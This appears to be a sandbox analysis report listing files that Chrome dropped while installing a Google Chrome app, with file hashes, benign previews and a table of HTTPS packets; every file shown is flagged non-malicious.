Entropy (8bit): 5.791315351651491

Encrypted: false

SSDEEP: 192:RktDNJ2UzsL5KcASyoH+CouKP/iNGRo/oRHMIT:AZQflcsU

MD5: 0834821960CB5C6E9D477AEF649CB2E4

SHA1: 7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588

SHA-256: 52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EA7F6BA7F69

SHA-512: 9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BE88B063D2ECE7CB0C84F17BB1AF3C5B1A3F
C4

Malicious: false

Reputation: low

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZHUtdGRPdUNWcmxDY254Q0poRkg2NXpLU05vb1RiUE56bDNHbzdRMGJ3SSJ9LHs
icGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWlhkck5xWHBvSHNRMGh1ZGtSM2d1QlMzb2VsTEZLNklVIn0seyJwY
XRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik9nUkNIZlVoam9xOU93NHFfaEhvTTQxNzNMelJyYkVpUVdsRXNRSzhscFkifSx7InBhdGg
iOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiN2JVWW1LYkhQUUNRMXBGcmUzTHJySEhwWk9xN1c2Zk5hT0laWmdKUERTTSJ9LHsicGF0aCI6I
l9sb2NhbGVzL2RlL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJOV3FkU3Rfc1NFMm9KT2VuSUZtM0pMRm9iOGtBZ3ZTa3RtZGpCRGJWazdBIn0seyJwYXRoIjoiX2x
vY2FsZXMvZWwvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6ImgyaEZ0YUJoLXJQUEtoUm00QkFWM0VEZmhFbnh5MElGOVhYT3Z0aHhlNjAifSx7InBhdGgiOiJfbG9jY
Wxlcy9lbi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoid0pSZDFmM3NxMERFVTJHLXd

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 544643

Entropy (8bit): 5.385396177420207

Encrypted: false

SSDEEP: 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g

MD5: 6EEBED29E6A6301E92A9B8B347807F5F

SHA1: 65DFB69B650560551110B33DCBA50B25E5B876DE

SHA-256: 04CD9494B0ED83924DAD12202630B20D053D9E2819C8E826A386C814CC0A1697

SHA-512: FEDE6DB31F2AD242E7BC7B52A8859BA7F466A0B920A8DADCB32DCFB5B2A2742E98B767FF22E0C5BC5C11FEC021240AA9E458486C9039EB4EBE5CF6AF7BE9
7BF2

Malicious: false

Reputation: low

Preview: /*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var d,e=e||{};e.scope={};e.arrayIteratorImpl=function(a){var b=0;return function(){return 
b<a.length?{done:!1,value:a[b++]}:{done:!0}}};e.arrayIterator=function(a){return{next:e.arrayIteratorImpl(a)}};e.ASSUME_ES5=!1;e.ASSUME_NO_NATIVE_MAP=!1;e.A
SSUME_NO_NATIVE_SET=!1;e.SIMPLE_FROUND_POLYFILL=!1;e.ISOLATE_POLYFILLS=!1;e.FORCE_POLYFILL_PROMISE=!1;e.FORCE_POLYFILL_P
ROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.e.defineProperty=e.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:funct
ion(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};e.getGlobal=function(a){a=["object"==typeof globalThis&&globalThis,a,"obje
ct"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw 
Error("Cannot find global object");};e.global=e.getGlobal(this);.e.IS_SYMBOL_NATIVE="func

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 261316

Entropy (8bit): 5.444466092380538

Encrypted: false

SSDEEP: 3072:I5vU7I6s2M9duIWFCbmYJ4tnFWdqpMad2vywhIp81QFv9F9nNsZgiDdOFlV/mZmc:I5vqFCb2p8Gx9FNNsZ9Dd/ceR

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\craw_background.js

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\craw_window.js
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MD5: 1709B6F00A136241185161AA3DF46A06

SHA1: 33DA7D262FFED1A5C2D85B7390E9DBC830CBE494

SHA-256: 5721A4B3F8E09C869A629EFFD350B51C9D46F0AC136717D4DB6265C0EE6F9AC8

SHA-512: 26835B4C050F53AD2DDB84469DF9A84BBB2786A655AB52DFC20B54BEDCB81D1ECD789198D5B7D8B940242E5CEAC818A177444D402397AE82C203438C4B1D19
CB

Malicious: false

Reputation: low

Preview: /*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var b,k=k||{};k.scope={};k.createTemplateTagFirstArg=function(a){return a.raw=a};k.cre
ateTemplateTagFirstArgWithRaw=function(a,c){a.raw=c;return a};k.arrayIteratorImpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:
{done:!0}}};k.arrayIterator=function(a){return{next:k.arrayIteratorImpl(a)}};k.makeIterator=function(a){var c="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.itera
tor];return c?c.call(a):k.arrayIterator(a)};.k.arrayFromIterator=function(a){for(var c,d=[];!(c=a.next()).done;)d.push(c.value);return d};k.arrayFromIterable=function(a){return 
a instanceof Array?a:k.arrayFromIterator(k.makeIterator(a))};k.ASSUME_ES5=!1;k.ASSUME_NO_NATIVE_MAP=!1;k.ASSUME_NO_NATIVE_SET=!1;k.SI
MPLE_FROUND_POLYFILL=!1;k.ISOLATE_POLYFILLS=!1;k.FORCE_POLYFILL_PROMISE=!1;k.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_RE
JECTION=!1;.k.objectCreate=k.ASSUME_ES5||"function"==typeof Object.cre

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 1741

Entropy (8bit): 4.912380256743454

Encrypted: false

SSDEEP: 24:LalZ74H+rMwJHwIodHRmxt3jiu1iu1RDpfeWlMl548wJHwDwCapt/VMYXj8Eq27K:Z+rMm71le88S1tWYXmrVZFH

MD5: 67BF9AABE17541852F9DDFF8245096CD

SHA1: A4AC74DD258E8E0689034FAA1B15A5C7C56DC3BB

SHA-256: 10DFBD2D98950B79EE12F6B8E3885AABE31543048DE56AD4FC0A5E34D0D9D4EC

SHA-512: 298FA132C6F122798FDB9BC6DE8024915147ADC20355B56A92F0ED9ACCE4549BE6E7F42212E07DCA166E31624D4E66E299565845D4BA1C51CA935050641B61FE

Malicious: false

Reputation: low

Preview: html, body {.  margin: 0;.  overflow: hidden;.}..webview {.  width: 100%;.  height: 100%;.  min-height: 100%;.  position: absolute;.}...craw_overlay {.  position: absolute;..  left
: 0;.  top: 0;.  right: 0;.  bottom: 0;..  background-color: white;..  -webkit-transition: opacity 250ms linear;..  display: -webkit-flex;.  -webkit-flex-direction: column;.  -webkit-
flex: 1 0%;.  -webkit-align-items: center;.  -webkit-justify-content: center;..  -webkit-app-region: drag;.}...craw_overlay img {.  margin: 16px;.}..#loading_overlay {.  opacity: 
1;.}..#offline_overlay {.  opacity: 0;.  display: none;.}..#offline_overlay > img {.  -webkit-filter: saturate(0%);.}..#offline_overlay > span {.  font-family: 'Open Sans', 'Deja Vu 
Sans', Arial, sans-serif;.  font-size: 15px;.  line-height: 21px;.  color: #8d8d8d;.  display: block;.}..#loading_splash {.  width: 128px;.  height: 128px;.}..#drag_overlay {.  
position: absolute;.  left: 0;.  top: 0;.  right: 0;.  bottom: 0;.  pointer-events: none;.  -webkit

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 810

Entropy (8bit): 4.723481385335562

Encrypted: false

SSDEEP: 12:hYenuEJIig5fRpvV4AEdN2sAAuzg/7RwQuLYpUH9KfRnQBGgZKy3QGgjPSWZDQL:hYeLJKTVNEuLAuzg/twQucpS9bj3

MD5: 34A839BC40DEBC746BBD181D9EF9310C

SHA1: 8B4EAA74D31EED5B0BABA3CA5460201F6B10DA46

SHA-256: BB8742615E4CD996AE5D0200E443AE6A6F0B473255F03AFFDB8FB4660DE4554D

SHA-512: EE81E5509CBC2CB2B6C834224688C1E1B1AA9AA3866C52F8EAED040D5C390653C52D8D681E2E2CF62906643962ABAC823D5B622385B983B21E0DCCAFDF281E
FF

Malicious: false

Reputation: low

Preview: <!DOCTYPE html>.<html>.  <head>.    <link href="/css/craw_window.css" rel="stylesheet">.    <script src="/craw_window.js"></script>.  </head>.  <body>.    <webview>
</webview>.    <div class="craw_overlay" id="loading_overlay">.      <img src="/images/icon_128.png" />.      <img src="/images/flapper.gif" />.    </div>.    <div cl
ass="craw_overlay" id="offline_overlay">.      <img src="/images/icon_128.png" />.      <span id="app_unavailable"></span>.      <span id="connect_to_network"><
/span>.    </div>.    <div id="drag_overlay"></div>.    <div id="top_bar">.      <div id='close_button'>.        <img src='/images/topbar_floating_button_close.png'/>.      
</div>.      <div id='maximize_button'>.        <img src='/images/topbar_floating_button_maximize.png'/>.      </div>.    </div>.  </body>.</html>.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: GIF image data, version 89a, 30 x 30

Category: dropped

Size (bytes): 70364

Entropy (8bit): 7.119902236613185

Encrypted: false

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\css\craw_window.css

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\html\craw_window.html

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\flapper.gif
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SSDEEP: 768:g5TXOSBAqNIPmA8NcjCWdM0VFMJEwavTeElfWupav5TXg7wV+irIPny9MTVQHydi:g5KSmiIPmAhZWiMsDfWug7DmqM6HybkF

MD5: 398ABB308EEBC355DA70BCE907B22E29

SHA1: CFFB77B8A1724B8F81D98C6D6AD0071D10162252

SHA-256: 2B73533F47A99FFEA9CC405FFAFA9C4C53623F62487AEBFBA415945120B22040

SHA-512: FC7A56FC8A61A582161874B54ADBAD30A84840190008EDB0B6FBF84F91393CA58E988E3FE446F11A0C3C691C18249B93AEC2904B3D0C4F0857D79034F662385A

Malicious: false

Reputation: low

Preview: GIF89a.......................................................!.......!..NETSCAPE2.0.....,.............9.:.h0.bT(6.!l.&..("g*k..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g|]$ueW.Ny
Q.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,.............9.:.h0.bT(6.!l.&..("g*k..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m
4..7..!.......,............................................................................................................'..w=.....\.)._6.k..OF...n.#\~"....2b3..I.)..eu.Q.`.e......gr.?>.s.I0.....@.~.Tr.[8.+.,.;..EE....S.*f.....,
.....B8/D..;.9.q......ukC...r.I.....j......BGY...o2J....+O4....X4.....cH%7....I.....0H!.!.....!.,...............................................................................................................................................
..............................................................p8.a$....hh@.4....X,A.0L..(....JX.j...,..........z.X.Q....jB.d....B..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 4364

Entropy (8bit): 7.915848007375225

Encrypted: false

SSDEEP: 96:YjlLDJjTvXUtNvX8dgb9HT6y8nviyHG5iCRYtIP:YtNTfUzvX8KM+MGRsIP

MD5: 4DBC9F9E6F5A08D299BAC9E54DF07694

SHA1: BB38F5DE34B1E0BE1109220BA55271087A4D9EA5

SHA-256: 91C2718DD23B4356D71F88F6146868369033291086DF327534546DFA459BEB0E

SHA-512: A5F2B1F47502836130D8083F757B7773C1E1CB36B76AD298CC29AB2B428C8002D2F15BD839838FC326DAC3681C2F48AB25A3E7631D33726C4B25E8EC14170912

Malicious: false

Reputation: low

Preview: .PNG........IHDR..............>a.....IDATx..yp.....gF#.:,[H.l.l..8...`/.k....,!a7Km...E...Te..T.....J...p....%.(....+...3....eY.e...L.o...5....h4...\....{?....~.u.`0.....`0.....`0.....`.Y......[(.......).4....a
i..w38.+....Bf././..]...{......8...3.....3W~OJ.. /...u6V.C..U.0.+._=.c..9.X.?....L....S@.L...m.0..>.C...L|TF.p5..f4M.,.V....8..a.<...RP..@)E,..E"...h.....!...-....,I..T..........m..._[[{w{{....
{*.^......M.x..h4.h.....\.R.E....j).7.....h4.A.E....,. ...iii.Vj?2...=/.B.FK9P..@)=Rj..D".Y...2.B..x.}0...&J...2.......f.O..e.H.....!.J)'I..R....B............QJ;K..L...L.l".L~mhh.R.@).FFF
~.L&...~.B.......u.........}.....~.....f..yUU...........^M...6......].,w.e..~.!$.C.R.....E(%e9.,....k..@...W8.........@...........O..@%.~..@.S..P.....`Tp...."...?ME..c......s...`..S1...7.b..
aNE..k...3.yP.}.Ch.}......B..........IPE..C.<....T....k......Z..o_......g........P..A=y.J.)h..@.q.-.*].AU.4...F.M.....y%B]+ .\.~..9......:..=...r.....E].o...F..P........i...|....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 558

Entropy (8bit): 7.505638146035601

Encrypted: false

SSDEEP: 12:6v/7vyVgSKYsfFzXxXsrPfA+b0YX+5IOUWCQKznuow7:6yVnKYsfFzhXsrIq0YXmgQGn6

MD5: FB9C46EA81AD3E456D90D58697C12C06

SHA1: 5FC450F7D73CCFAC8F0D818CB3392BA4D91B69DE

SHA-256: 016CA659BA080E194FBFC0929602B16506ED60AA6019FAA51410C4FD93B583E8

SHA-512: ADD810EE9EB7CAEC505B5FD90A1F184CE39D8F8C689DCC240F188FE353B9575489492E07D572A3B1C11A1555CE66AFCA5134903E4C1AA3D54BC7C5ED3E65B
50C

Malicious: false

Reputation: low

Preview: .PNG........IHDR................a....IDAT8...Mk.Q...;... .....F..QW.....F....J.?.w..7~......'.Q..B]... .QS...M&_w..b&.|`......p...f.?.D$.y^..........y*...\..Z..t6..oRj.@&.u..G.qN).t.-V*.>(.N
.Ep]wFk.60o.]0.`Y..cT..Y.Tb.`DF.d..s.Z..E..9.4._C.._...%..*.^....4.l...Y..X..R..../...Wj+w0[.].._B.k.${.\.>.%...........lz .w.ALxo.2;..a...".p..S..&..uXS...<..6..[..zD.._.N+w.WbM7y
e6X<...'(,=.r}........$f..5..P....k..."..8.s.<zgSm@.....).Y.....:e..|.....F...I..A$.....T?.....m....8.........N...z.....V..vd.h'....C.?.....H.;]..C.M.....9.b......IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 160

Entropy (8bit): 5.475799237015411

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/RPJDmV7bScsP4a9zln94FptVp:6v/lhPKM4nDspnAkZJNmgPdln2TTp

MD5: 8803665A6328D23CC1014A7B0E9BE295

SHA1: 9DA6EE729D5A6E9F30658B8EC954710F107A641F

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\icon_128.png

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\icon_16.png

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button.png
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SHA-256: D5F9234DC36E7FFA85F35B2359A4F82276F8395EFA76E4553507EA990B27FC6C

SHA-512: ECD9E71B8BA1ED8BD4CA5A0936CB66A83611C4ABCBDA76C250F4CDF4AD80320212E8F5EEB79A38910718F8346ECC1AD580A3FA835EC2B22BE497F36899FB5
930

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...Q..0......2...(p...~Z.}'.>I%O...V!s..................../...`.<..`.....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 252

Entropy (8bit): 6.512071394066515

Encrypted: false

SSDEEP: 6:6v/lhPKM4nDsp7q1hKVlomsj9rxKNgtmN0VZ+GFYep:6v/7iMXVq1ylxemNgtmKVnYM

MD5: 0599DFD9107C7647F27E69331B0A7D75

SHA1: 3198C0A5F34DB67F91A0035DBC297354CBC95525

SHA-256: 131817CD9311C03DF22D769DD2AD7FA2E6E9558863A89F7E5E1657424031A937

SHA-512: 0076ACB9D6A886BD987876E49495038F9388B292A9EFE5C9093CCA64CA3692E3A5D24E35172C7697F6AAE34B86CA217EE59C003423E46D9499BD27EC7D77A649

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx...... ..Pp.X....H...b@...|.^LC_.E.BP+......X.P..........q..~..p/. ..s.....%D^...$......@.!...<...).?
.4{.k.G3...4..[cH..0..l.8.!r..m.R..{..........`.f...#.x.....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 160

Entropy (8bit): 5.423186859407619

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEHxrPLyN+ltNPhv/l2up:6v/lhPKM4nDspnAkZHVtERrPLygltNPn

MD5: 7CB6B9DC1A30F63B8BD976924B75AD96

SHA1: 0C40B0C496D2F2B5F2021C117EC8610AC03AB469

SHA-256: 721B7AAA9A42A54A349881615A12E3A26983ACA48E173FD2F66E66AA0D725735

SHA-512: 4764937364E355956B242B84010AC56102536D2AACBE4227F0E88E4DE7AB468571957EA6C33012539156E5349AE4F777115615AE3361F60ADDF9CD227424F76A

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B.z.s...*.....$.<u..[...................h.......C.CA).....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 166

Entropy (8bit): 5.8155898293424775

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZttd//HmnFz1P/ZjXlUTqyCIc30ItK1p:6v/lhPKM4nDsptF/HOP/ZjXlUeyCo/p

MD5: 232CE72808B60CBE0F4FA788A76523DF

SHA1: 721A9C98C835D2CD734153BBE07833C6637ECD68

SHA-256: AFA4EA944CBDEC8543242E627EF46D5BFD3766DCAC664E7E50CDEEF2B352740C

SHA-512: 4048EEA5A78DD569521C488C4CE4F7B77AC0454C92EE9107A81A1B3AF91A4EE036039AC1A0A6B8DD26B12E7F1595DB80B7FAA7B6A25D9032BF385528A81A86
54

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...HIDATx......0.CQS.......~..."..........m.v+Sq....<!...M8m...'...@$..0....E........IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_close.png

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_hover.png

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_maximize.png

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_pressed.png
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File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 160

Entropy (8bit): 5.46068685940762

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEXIyN+ltN1/lsg1p:6v/lhPKM4nDspnAkZHVtEZgltN1eup

MD5: E0862317407F2D54C85E12945799413B

SHA1: FA557F8F761A04C41C9A4BA81994E43C6C275DBB

SHA-256: 5C10CE0589EB115600F77381130B70AE0B7B3752614D86D4C89E857658AA222B

SHA-512: 07CB69327961FD0019BEF8EF7590B5524905AC373A815F73F6D9E0B26840929F919A96CAA977D4B5656704DACD0F352D568FB3997F80EE6BB94C95B58839DBFE

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B..@wu...*.....$.<u..[...................h.........M..x(....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1322

Entropy (8bit): 5.449026004350873

Encrypted: false

SSDEEP: 24:1HEis7ViC/yox/fiqeUoLFlmF1s80FKrGfd0d3NZNZx1Fq7eY7nfj1B:WL7V2opiV1mvs8rxTZRczhB

MD5: 01334FB9D092AF2AA46C4185E405C627

SHA1: 47AD3C0E82362FFE5B881DF8D71D6F79AB7F5796

SHA-256: F52714812D68C577A445169D11E84DF6751C2D6886BC429643072BB5D61C6C27

SHA-512: 888D96ADB7A847ABE472145258C8C46950EB2FA3BA7D596C2E90A17C8FB06FD0155C56CC8ABA5D076D89368417464BCB2D236F9E40E53241950A01F9F8ED548
F

Malicious: false

Reputation: low

Preview: {..   "app": {..      "background": {..         "scripts": [ "craw_background.js" ]..      }..   },..   "default_locale": "en",..   "description": "__MSG_APP_DESCRIPTION__",..   "d
isplay_in_launcher": false,..   "display_in_new_tab_page": false,..   "icons": {..      "128": "images/icon_128.png",..      "16": "images/icon_16.png"..   },..   "key": 
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrKfMnLqViEyokd1wk57FxJtW2XXpGXzIHBzv9vQI/01UsuP0IV5/lj0wx7zJ/xcibUgDeIxobvv9XD+zO1MdjMWuqJ
FcKuSS4Suqkje6u+pMrTSGOSHq1bmBVh0kpToN8YoJs/P/yrRd7FEtAXTaFTGxQL4C385MeXSjaQfiRiQIDAQAB",..   "manifest_version": 2,..   "minimum_chrome_ver
sion": "29",..   "name": "__MSG_APP_NAME__",..   "oauth2": {..      "auto_approve": true,..      "client_id": "203784468217.apps.googleusercontent.com",..      "scopes": [ 
"https://www.googleapis.com/auth/sierra", "https://www.googleapis.com/auth/sierrasandbox", "https://www.googleapis.com/auth/chromewebstore", "https://www.goog
leapis.com/auth/chromewebstore.readonly" ]..   },.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Little-endian UTF-16 Unicode text, with no line terminators

Category: dropped

Size (bytes): 2

Entropy (8bit): 1.0

Encrypted: false

SSDEEP: 3:Qn:Qn

MD5: F3B25701FE362EC84616A93A45CE9998

SHA1: D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB

SHA-256: B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209

SHA-512: 98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D8
4

Malicious: false

Reputation: low

Preview: ..

⊘ No static file info

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\manifest.json

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-US\default.acl

Static File Info
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Total Packets: 95

• 1900 undefined

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Aug 11, 2022 05:42:33.036305904 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.036437988 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.036694050 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.036832094 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.036878109 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.133898020 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.134207010 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.138159037 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.138402939 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.149349928 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.149378061 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.149636030 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.150141001 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.150163889 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.150175095 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.150204897 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.288669109 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.288750887 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.288882017 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.288913965 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.288940907 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.288979053 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.289005041 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.289073944 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.289154053 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.289211035 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.289266109 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.289273024 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.289295912 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.289299965 CEST 49779 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.289315939 CEST 443 49779 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.302683115 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.302803993 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.303006887 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.303105116 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.303142071 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.377768040 CEST 443 49780 40.126.32.72 192.168.11.20

Network Behavior

Network Port Distribution

TCP Packets
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Aug 11, 2022 05:42:33.378036022 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.379883051 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.380186081 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.382227898 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.382277012 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.382972956 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.383398056 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.383461952 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.383558035 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.524121046 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.524144888 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.524204969 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.524272919 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.524426937 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.524542093 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.524555922 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.524559021 CEST 49780 443 192.168.11.20 40.126.32.72

Aug 11, 2022 05:42:33.524564028 CEST 443 49780 40.126.32.72 192.168.11.20

Aug 11, 2022 05:42:33.665848970 CEST 49781 443 192.168.11.20 51.124.57.242

Aug 11, 2022 05:42:33.665869951 CEST 443 49781 51.124.57.242 192.168.11.20

